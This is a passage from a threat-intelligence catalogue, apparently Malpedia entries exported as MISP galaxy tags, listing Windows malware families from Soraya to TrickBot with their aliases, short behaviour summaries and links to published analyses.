https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya
https://www.codeandsec.com/Soraya-Malware-Analysis-Dropper
https://www.arbornetworks.com/blog/asert/the-best-of-both-worlds-soraya/

Sorgu

The tag is: misp-galaxy:malpedia="Sorgu"

Sorgu is also known as:

Table 1859. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

SOUNDBITE

The tag is: misp-galaxy:malpedia="SOUNDBITE"

SOUNDBITE is also known as:

denis

Table 1860. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite
https://attack.mitre.org/wiki/Software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/
https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx

SPACESHIP

SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system

The tag is: misp-galaxy:malpedia="SPACESHIP"

SPACESHIP is also known as:

Table 1861. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Spedear

The tag is: misp-galaxy:malpedia="Spedear"

Spedear is also known as:

Table 1862. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Spora

The tag is: misp-galaxy:malpedia="Spora"

Spora is also known as:

Table 1863. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom
https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/
https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/
https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas
https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware
https://github.com/MinervaLabsResearch/SporaVaccination
http://malware-traffic-analysis.net/2017/01/17/index2.html

SpyBot

The tag is: misp-galaxy:malpedia="SpyBot"

SpyBot is also known as:

Table 1864. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot

win.spynet_rat

The tag is: misp-galaxy:malpedia="win.spynet_rat"

win.spynet_rat is also known as:

Table 1865. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spynet_rat

SquirtDanger

The tag is: misp-galaxy:malpedia="SquirtDanger"

SquirtDanger is also known as:

Table 1866. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.squirtdanger
https://researchcenter.paloaltonetworks.com/2018/04/unit42-squirtdanger-swiss-army-knife-malware-veteran-malware-author-thebottle/

SslMM

The tag is: misp-galaxy:malpedia="SslMM"

SslMM is also known as:

Table 1867. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Stabuniq

The tag is: misp-galaxy:malpedia="Stabuniq"

Stabuniq is also known as:

Table 1868. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq
http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html
https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers

Stampedo

The tag is: misp-galaxy:malpedia="Stampedo"

Stampedo is also known as:

Table 1869. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo
https://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/

StarCruft

The tag is: misp-galaxy:malpedia="StarCruft"

StarCruft is also known as:

Table 1870. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft
https://securelist.com/operation-daybreak/75100/

StarLoader

The tag is: misp-galaxy:malpedia="StarLoader"

StarLoader is also known as:

Table 1871. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

StarsyPound

The tag is: misp-galaxy:malpedia="StarsyPound"

StarsyPound is also known as:

Table 1872. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

StartPage

Potentially unwanted program that changes the startpage of browsers to induce ad impressions.

The tag is: misp-galaxy:malpedia="StartPage"

StartPage is also known as:

Easy Television Access Now

Table 1873. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage
https://www.bleepingcomputer.com/virus-removal/remove-search-searchetan.com-chrome-new-tab-page

StealthWorker Go

The tag is: misp-galaxy:malpedia="StealthWorker Go"

StealthWorker Go is also known as:

Table 1874. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker
https://blog.malwarebytes.com/threat-analysis/2019/02/new-golang-brute-forcer-discovered-amid-rise-e-commerce-attacks/

StegoLoader

The tag is: misp-galaxy:malpedia="StegoLoader"

StegoLoader is also known as:

Table 1875. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader
https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer

Stinger

The tag is: misp-galaxy:malpedia="Stinger"

Stinger is also known as:

Table 1876. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger

STOP Ransomware

The tag is: misp-galaxy:malpedia="STOP Ransomware"

STOP Ransomware is also known as:

Djvu
KeyPass

Table 1877. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stop
https://securelist.com/keypass-ransomware/87412/
https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/

Stration

The tag is: misp-galaxy:malpedia="Stration"

Stration is also known as:

Table 1878. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stration

Stresspaint

The tag is: misp-galaxy:malpedia="Stresspaint"

Stresspaint is also known as:

Table 1879. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint
https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/
https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/
https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/
https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/

StrongPity

The tag is: misp-galaxy:malpedia="StrongPity"

StrongPity is also known as:

Table 1880. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity
https://twitter.com/physicaldrive0/status/786293008278970368
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/
https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/
https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/

Stuxnet

The tag is: misp-galaxy:malpedia="Stuxnet"

Stuxnet is also known as:

Table 1881. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet
http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html
https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf

SunOrcal

The tag is: misp-galaxy:malpedia="SunOrcal"

SunOrcal is also known as:

Table 1882. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
http://pwc.blogs.com/cyber_security_updates/2016/03/index.html

SuppoBox

The tag is: misp-galaxy:malpedia="SuppoBox"

SuppoBox is also known as:

Bayrob
Nivdort

Table 1883. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox
https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1
https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf
https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim
https://www.symantec.com/connect/blogs/bayrob-three-suspects-extradited-face-charges-us

Swift?

The tag is: misp-galaxy:malpedia="Swift?"

Swift? is also known as:

Table 1884. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.swift
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/

Sword

The tag is: misp-galaxy:malpedia="Sword"

Sword is also known as:

Table 1885. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sword
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

sykipot

The tag is: misp-galaxy:malpedia="sykipot"

sykipot is also known as:

getkys

Table 1886. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot
https://www.alienvault.com/blogs/labs-research/sykipot-is-back
https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/
https://community.rsa.com/thread/185437
https://www.symantec.com/connect/blogs/sykipot-attacks

SynAck

The tag is: misp-galaxy:malpedia="SynAck"

SynAck is also known as:

Table 1887. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synack
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/

SyncCrypt

The tag is: misp-galaxy:malpedia="SyncCrypt"

SyncCrypt is also known as:

Table 1888. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/

SynFlooder

The tag is: misp-galaxy:malpedia="SynFlooder"

SynFlooder is also known as:

Table 1889. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Synth Loader

The tag is: misp-galaxy:malpedia="Synth Loader"

Synth Loader is also known as:

Table 1890. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synth_loader

Sys10

The tag is: misp-galaxy:malpedia="Sys10"

Sys10 is also known as:

Table 1891. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Syscon

The tag is: misp-galaxy:malpedia="Syscon"

Syscon is also known as:

Table 1892. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/
http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/

SysGet

The tag is: misp-galaxy:malpedia="SysGet"

SysGet is also known as:

Table 1893. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/

Sysraw Stealer

Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to /WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[-+].dat" and POSTs them.

The tag is: misp-galaxy:malpedia="Sysraw Stealer"

Sysraw Stealer is also known as:

Clipsa

Table 1894. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer
https://zerophagemalware.com/2017/09/21/rig-ek-via-rulan-drops-an-infostealer/

SysScan

The tag is: misp-galaxy:malpedia="SysScan"

SysScan is also known as:

Table 1895. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysscan

Szribi

The tag is: misp-galaxy:malpedia="Szribi"

Szribi is also known as:

Table 1896. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi
https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel
https://www.fireeye.com/blog/threat-research/2008/11/technical-details-of-srizbis-domain-generation-algorithm.html
https://www.secureworks.com/research/srizbi

TabMsgSQL

The tag is: misp-galaxy:malpedia="TabMsgSQL"

TabMsgSQL is also known as:

Table 1897. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

taidoor

The tag is: misp-galaxy:malpedia="taidoor"

taidoor is also known as:

simbot

Table 1898. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf
http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html
https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1

Taleret

The tag is: misp-galaxy:malpedia="Taleret"

Taleret is also known as:

Table 1899. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html
http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html

Tandfuy

The tag is: misp-galaxy:malpedia="Tandfuy"

Tandfuy is also known as:

Table 1900. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy

Tapaoux

The tag is: misp-galaxy:malpedia="Tapaoux"

Tapaoux is also known as:

Table 1901. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux
https://securelist.com/files/2014/11/darkhotel_kl_07.11.pdf

Tarsip

The tag is: misp-galaxy:malpedia="Tarsip"

Tarsip is also known as:

Table 1902. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

tDiscoverer

The tag is: misp-galaxy:malpedia="tDiscoverer"

tDiscoverer is also known as:

Table 1903. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf

TDTESS

The tag is: misp-galaxy:malpedia="TDTESS"

TDTESS is also known as:

Table 1904. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdtess
http://www.clearskysec.com/tulip/

TeamBot

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

The tag is: misp-galaxy:malpedia="TeamBot"

TeamBot is also known as:

FINTEAM

Table 1905. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teambot
https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/

TefoSteal

The tag is: misp-galaxy:malpedia="TefoSteal"

TefoSteal is also known as:

Table 1906. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tefosteal
https://twitter.com/WDSecurity/status/1105990738993504256

TeleBot

The tag is: misp-galaxy:malpedia="TeleBot"

TeleBot is also known as:

Table 1907. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

TeleDoor

The tag is: misp-galaxy:malpedia="TeleDoor"

TeleDoor is also known as:

Table 1908. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor
http://blog.talosintelligence.com/2017/07/the-medoc-connection.html
https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/

Tempedreve

The tag is: misp-galaxy:malpedia="Tempedreve"

Tempedreve is also known as:

Table 1909. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve

Terminator RAT

The tag is: misp-galaxy:malpedia="Terminator RAT"

Terminator RAT is also known as:

Fakem RAT

Table 1910. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat
https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html
https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf
https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf

Termite

The tag is: misp-galaxy:malpedia="Termite"

Termite is also known as:

Table 1911. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.termite
https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/
https://www.alienvault.com/blogs/labs-research/internet-of-termites

TeslaCrypt

The tag is: misp-galaxy:malpedia="TeslaCrypt"

TeslaCrypt is also known as:

cryptesla

Table 1912. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt
https://blogs.cisco.com/security/talos/teslacrypt
https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/
https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla
https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/
https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/
https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf
https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/
https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack

Thanatos

The tag is: misp-galaxy:malpedia="Thanatos"

Thanatos is also known as:

Alphabot

Table 1913. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos
https://www.proofpoint.com//us/threat-insight/post/Death-Comes-Calling-Thanatos-Alphabot-Trojan-Hits-Market

Thanatos Ransomware

The tag is: misp-galaxy:malpedia="Thanatos Ransomware"

Thanatos Ransomware is also known as:

Table 1914. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom
https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html
https://www.bleepingcomputer.com/news/security/thanatos-ransomware-is-first-to-use-bitcoin-cash-messes-up-encryption/
https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/

ThreeByte

The tag is: misp-galaxy:malpedia="ThreeByte"

ThreeByte is also known as:

Table 1915. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

ThumbThief

The tag is: misp-galaxy:malpedia="ThumbThief"

ThumbThief is also known as:

Table 1916. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

Thunker

The tag is: misp-galaxy:malpedia="Thunker"

Thunker is also known as:

Table 1917. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker

Tidepool

The tag is: misp-galaxy:malpedia="Tidepool"

Tidepool is also known as:

Table 1918. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf
http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/

Tinba

The tag is: misp-galaxy:malpedia="Tinba"

Tinba is also known as:

Illi
TinyBanker
Zusy

Table 1919. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba
https://labsblog.f-secure.com/2016/01/18/analyzing-tinba-configuration-data/
http://www.theregister.co.uk/2012/06/04/small_banking_trojan/
https://securityintelligence.com/tinba-trojan-sets-its-sights-on-romania/
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
http://contagiodump.blogspot.com/2012/06/amazon.html
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf
https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant
http://garage4hackers.com/entry.php?b=3086
http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/

TinyLoader

The tag is: misp-galaxy:malpedia="TinyLoader"

TinyLoader is also known as:

Table 1920. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader
https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak
https://www.fidelissecurity.com/threatgeek/2017/07/deconstructing-tinyloader-0
https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software

TinyMet

TinyMet is a meterpreter stager.

The tag is: misp-galaxy:malpedia="TinyMet"

TinyMet is also known as:

TiniMet

Table 1921. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/

TinyNuke

TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program’s author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: misp-galaxy:malpedia="TinyNuke"

TinyNuke is also known as:

MicroBankingTrojan
Nuclear Bot
NukeBot
Xbot

Table 1922. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4596
https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702
https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://krebsonsecurity.com/tag/nuclear-bot/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/

TinyTyphon

The tag is: misp-galaxy:malpedia="TinyTyphon"

TinyTyphon is also known as:

Table 1923. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

TinyZbot

The tag is: misp-galaxy:malpedia="TinyZbot"

TinyZbot is also known as:

Table 1924. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Tiop

The tag is: misp-galaxy:malpedia="Tiop"

Tiop is also known as:

Table 1925. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop

Tofsee

The tag is: misp-galaxy:malpedia="Tofsee"

Tofsee is also known as:

Gheg

Table 1926. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee
https://www.cert.pl/en/news/single/tofsee-en/
https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/
https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/

TorrentLocker

The tag is: misp-galaxy:malpedia="TorrentLocker"

TorrentLocker is also known as:

Table 1927. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker
http://www.isightpartners.com/2014/08/analysis-torrentlocker-new-strain-malware-using-components-cryptolocker-cryptowall/
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/

tRat

tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.

The tag is: misp-galaxy:malpedia="tRat"

tRat is also known as:

Table 1928. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trat
https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns

TreasureHunter

The tag is: misp-galaxy:malpedia="TreasureHunter"

TreasureHunter is also known as:

huntpos

Table 1929. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter
https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html
https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/
http://adelmas.com/blog/treasurehunter.php

TrickBot

A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.

Q4 2016 - Detected in wild Oct 2016 - 1st Report Jan 2018 - Use XMRIG (Monero) miner Feb 2018 - Theft Bitcoin Mar 2018 - Unfinished ransomware module

Infection Vector 1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot 2. Phish > Attached MS Office > Marco Enabled > Downloader > Trickbot 3. Phish > Attached MS Office > Marco enabled > Trickbot installed

The tag is: misp-galaxy:malpedia="TrickBot"

TrickBot is also known as:

TheTrick
TrickLoader
Trickster

Table 1930. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot
https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware
https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/
http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/
http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module
https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre
https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/
http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://www.youtube.com/watch?v=KMcSAlS9zGE
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/
https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Tale-of-the-Two-Payloads-%E2%80%93-TrickBot-and-Nitol/
http://www.vkremez.com/2018/04/lets-learn-trickbot-implements-network.html
https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/
https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/
https://blog.fraudwatchinternational.com/malware/trickbot-malware-works
https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/
https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms
https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412
https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot
https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html
https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/
https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html
https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf
https://blogs.forcepoint.com/security-labs/trickbot-spread-necurs-botnet-adds-nordic-countries-its-targets
http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot
https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/
http://www.malware-traffic-analysis.net/2018/02/01/
https://www.cert.pl/en/news/single/detricking-trickbot-loader/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features
https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/
http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html
https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-3-core
